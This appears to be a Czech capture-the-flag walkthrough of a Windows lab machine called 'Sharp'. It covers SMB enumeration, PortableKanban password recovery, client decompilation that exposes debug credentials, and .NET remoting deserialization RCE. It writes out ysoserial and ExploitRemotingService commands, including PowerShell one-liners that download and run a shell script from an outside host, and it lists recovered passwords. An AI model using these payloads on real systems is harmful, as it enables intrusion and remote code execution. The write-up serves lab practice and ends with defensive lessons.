Sharp
Úvod a kontext
Sharp se láme na dvou SMB sharech a jedné remoting službě. Anonymní share vydá PortableKanban databázi s reverzibilně uloženými hesly, share dev pak klientské binárky a poznámku o chybějící validaci vstupu. Teprve z téhle kombinace začne dávat smysl port 8888.
Nejdřív nevzniká shell, ale znalost architektury: kdo se k čemu připojuje, jak vypadá klient a které přihlašovací údaje jsou jen mezikrok. Až dekompilace klienta ukáže debug účet a potvrdí, že .NET remoting endpoint slepě přijímá deserializovaný vstup. Právě tenhle řetězec dobře propojuje témata z článků Klientské, desktopové a ne-textové artefakty po footholdu, Reverzní inženýrství klienta nebo vlastní binárky jako součást běžného průniku a Insecure deserialization napříč stacky.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji služby, abych pochopil, jestli má smysl začít přes SMB, WinRM nebo nějaké vlastní aplikační porty.
ports=$(nmap -p- -Pn $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v -Pn $IP
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5985/tcp open http Microsoft HTTPAPI httpd 2.0
8888/tcp open storagecraft-image StorageCraft Image Manager
8889/tcp open mc-nmf .NET Message Framing
Vedle SMB zaujmou hlavně porty 8888 a 8889, které naznačují vlastní .NET aplikaci nebo debug rozhraní.
Enumerace SMB share
Anonymní SMB přístup ukázal dva zajímavé shares:
smbclient -L $IP -N
Sharename Type
--------- ----
dev Disk
kanban Disk
Share kanban byl čitelný i anonymně, což je důležité, protože právě v něm ležela lokální databáze nástroje PortableKanban. Praktickou roli rychlé mapy SMB share a jejich obsahu rozebírám i v článku Smbmap:
smbmap -H $IP -R --depth 10
.\kanban\PortableKanban.pk3
.\kanban\PortableKanban.exe
.\kanban\PortableKanban.Data.dll
Analýza zjištění
Obnova hesel z PortableKanban
Soubor PortableKanban.pk3 má smysl stáhnout a zpracovat známým skriptem, protože tento formát ukládá hesla reverzibilně:
python3 /usr/share/exploitdb/exploits/windows/local/49409.py PortableKanban.pk3
Administrator:G2@$btRSHJYTarg
lars:G123HHrth234gRG
V tu chvíli ještě není jisté, kde přesně budou údaje fungovat. Administrator i lars je potřeba chápat jako kandidáty pro další enumeraci, ne jako automatický foothold.
Druhá share dev
Účet lars otevřel read-only přístup do dev, kde už ležely podstatně cennější soubory:
Client.exe
Server.exe
RemotingLibrary.dll
notes.txt
notes.txt obsahoval dvě stručné, ale velmi výmluvné poznámky:
Todo: Migrate from .Net remoting to WCF
Add input validation
To je silný signál, že debug služba používá .NET remoting a že ve vstupu chybí bezpečnostní kontroly. V takové chvíli má větší smysl binárky dekompilovat než zkoušet hrubou sílu proti WinRM.
Dekompilace klienta
Dekompilace Client.exe ukázala přesný endpoint i přihlašovací údaje:
Activator.GetObject(typeof(Remoting), "tcp://localhost:8888/SecretSharpDebugApplicationEndpoint");
channelSinkProperties["username"] = "debug";
channelSinkProperties["password"] = "SharpApplicationDebugUserPassword123!";
Tím se potvrdily tři důležité věci:
- služba na
8888je skutečně debug remoting endpoint, - aplikace používá explicitní autentizaci,
- známé klientské přihlašovací údaje stačí k navázání spojení.
V kombinaci s poznámkou o chybějící validaci vstupu to z remoting služby dělá reálný kandidát na deserializační RCE.
Získání přístupu
Vytvoření a odeslání deserializačního payloadu
Pro .NET remoting dává smysl použít ysoserial a následně payload odeslat pomocí ExploitRemotingService. Princip je jednoduchý: aplikace přijme serializovaný objekt a během deserializace spustí dodaný příkaz. Praktickou roli tohoto typu nástroje rozebírám i v článku ysoserial.
Payload byl vytvořen jako base64:
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell.ps1')"
Následné spuštění proti debug endpointu:
ExploitRemotingService.exe -s --ver=4 --user="debug" --pass="SharpApplicationDebugUserPassword123!" tcp://10.10.10.219:8888/SecretSharpDebugApplicationEndpoint raw __CENSORED__
Tím vzniklo vzdálené spuštění PowerShellu v kontextu debug služby a následně shell dostatečný pro čtení user.txt:
gc user.txt
__CENSORED__
Eskalace oprávnění
Druhý stupeň přes stejný remoting primitiv
V této části je důležité nepřipsat stroji něco, co z dostupných podkladů přímo neplyne. Jisté ale je, že stejná remoting primitiva byla následně znovu využita pro druhý PowerShell stage:
copy-item -path . -destination c:\dev\ -recurse
Console.WriteLine(client.InvokePowerShell("IEX(new-object net.webclient).downloadstring('http://10.10.14.4:8000/ps1/shell2.ps1')"));
Výsledkem byl privilegovaný kontext, ze kterého už šlo potvrdit přístup k root.txt:
gc root.txt
__CENSORED__
Smysl této části je hlavně v tom, že debug služba neumožňovala jen jednorázový testovací příkaz, ale opakované spouštění PowerShellu nad systémem, což v praxi znamenalo úplný kompromis hostu.
Shrnutí klíčových poznatků
- Anonymní SMB share zde fungoval jako vstupní bod k interním artefaktům aplikace, ne jako cíl sám o sobě.
- PortableKanban únik hesel otevřel přístup k dalšímu share, ale skutečně důležité byly až vývojářské binárky a poznámka o chybějící validaci vstupu.
- Dekompilace klienta poskytla endpoint i debug přihlašovací údaje, takže remoting služba šla zkoumat zcela konkrétně a ne naslepo.
- Deserializace v .NET remoting debug endpointu vedla k opakovanému PowerShell execution a tím k úplné kompromitaci systému.
Co si odnést do praxe
- Interní vývojářské share často obsahují mnohem citlivější data než produkční web. Konfigurační soubory, klientské binárky a testovací nástroje mohou přímo odhalit autentizační materiál i protokol služby.
- Formáty, které ukládají hesla reverzibilně, je potřeba považovat za únik tajemství, ne za „jen lokální“ problém. Jakmile se takový soubor dostane na čitelný share, kompromituje i další vrstvy prostředí.
- Debug endpointy nesmí být dostupné v produkci a už vůbec ne s hardcoded přihlašovacími údaji. U .NET remoting je navíc potřeba počítat s vysokým rizikem deserializačních útoků.
- Poznámky typu „add input validation“ v interních souborech jsou varování, že vývojový tým o problému věděl. Pro obranu je důležité tyto technické dluhy skutečně odstranit, ne je jen zapsat do TODO listu.